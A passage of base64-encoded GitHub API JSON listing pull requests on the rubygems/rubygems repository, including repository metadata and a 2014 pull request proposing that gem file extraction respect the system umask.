c19pc3N1ZXMiOmZhbHNlLCJoYXNfcHJvamVjdHMiOnRydWUsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjAsIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjAsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6MCwib3Blbl9pc3N1ZXMiOjAsIndhdGNoZXJzIjowLCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6ImU1M2M1NGE4N2MzYjk2NDIwNmU0N2ExMjdlMzEyNmY3YjJjMzNlZGMiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM1In0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzExMzUifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzUifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzUvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzUvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMTM1L2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvODI4ZDdjYzI1MDJhOWQ2MDkwNzE5MTVhYmZiM2UyNDUzM2Y5MmM3OSJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiRklSU1RfVElNRV9DT05UUklCVVRPUiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xMDQxIiwiaWQiOjIyNDUzOTA0LCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEwNDEiLCJkaWZmX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEwNDEuZGlmZiIsInBhdGNoX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzEwNDEucGF0Y2giLCJpc3N1ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDQxIiwibnVtYmVyIjoxMDQxLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJ0aXRsZSI6InVzZSBwYWNrYWdlZCBnZW0gZmlsZXMgbW9kZSBhcyBoaW50IG9ubHkiLCJ1c2VyIjp7ImxvZ2luIjoibXBhcGlzIiwiaWQiOjQ4MDU0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80ODA1ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhcGlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiYm9keSI6InByb3Bvc2FsIHRvIGZpeCBvbmUgb2YgdGhlIHByb2JsZW1zIGluICMxMDQwLCB0aGlzIGFsbG93cyBzeXN0ZW1zIGB1bWFza2AgdG8gYmUgYXBwbGllZCBwcm9wZXJseSB0byBleHRyYWN0ZWQgZ2VtIGZpbGVzXG5cbnRvIGZ1bGx5IGF2b2lkICMxMDAyIGl0IHdvdWxkIGJlIHJlcXVpcmVkIHRvIGtub3cgYHNwZWMuZXhlY3V0YWJsZXNgIHNvIHRoZSBgNzc1YCBjb3VsZCBiZSBmb3JjZWQgb24gdGhvc2UgZmlsZXNcbiIsImNyZWF0ZWRfYXQiOiIyMDE0LTEwLTA4VDIwOjU0OjEzWiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDA3OjMwOjIxWiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiZGE3Njc5NDFlNWYwNDM5NzZkMmMwYTBkZGQ1MTkxNjc3NzkwOGFkNyIsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTA0MS9jb21taXRzIiwicmV2aWV3X2NvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTA0MS9jb21tZW50cyIsInJldmlld19jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMDQxL2NvbW1lbnRzIiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9hM2ExZGQ1ZTViZTNlMDg3MWM3NDNkNzM1MGExNTQzNDYzNTZhNzQ4IiwiaGVhZCI6eyJsYWJlbCI6Im1wYXBpczpidWdmaXgvdXNlX3RhcmdldF9maWxlX3Blcm1pc3Npb25zX2luX3BhY2thZ2VfZXh0cmFjdF9naF8xMDQwIiwicmVmIjoiYnVnZml4L3VzZV90YXJnZXRfZmlsZV9wZXJtaXNzaW9uc19pbl9wYWNrYWdlX2V4dHJhY3RfZ2hfMTA0MCIsInNoYSI6ImEzYTFkZDVlNWJlM2UwODcxYzc0M2Q3MzUwYTE1NDM0NjM1NmE3NDgiLCJ1c2VyIjp7ImxvZ2luIjoibXBhcGlzIiwiaWQiOjQ4MDU0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80ODA1ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhcGlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6MzMxMTIxMiwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoibXBhcGlzL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJtcGFwaXMiLCJpZCI6NDgwNTQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ4MDU0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9tcGFwaXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhcGlzL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOnRydWUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9tcGFwaXMvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL21wYXBpcy9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvbXBhcGlzL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9t